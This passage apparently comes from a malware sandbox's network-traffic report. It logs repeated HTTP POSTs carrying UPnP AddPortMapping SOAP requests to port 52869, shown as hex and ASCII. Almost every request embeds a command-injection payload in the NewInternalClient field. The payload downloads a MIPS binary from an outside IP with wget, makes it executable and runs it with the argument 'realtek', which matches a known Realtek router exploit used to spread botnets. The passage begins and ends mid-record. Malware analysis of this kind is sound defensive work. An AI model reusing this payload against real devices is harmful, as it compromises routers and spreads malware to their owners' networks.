69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:54.937175989 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:44.087693930 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      46192.168.2.1555060185.126.125.8052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:06.752093077 CET971OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      47192.168.2.155138045.192.211.1352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:06.820976019 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:10.906471014 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:17.050316095 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:29.081902981 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
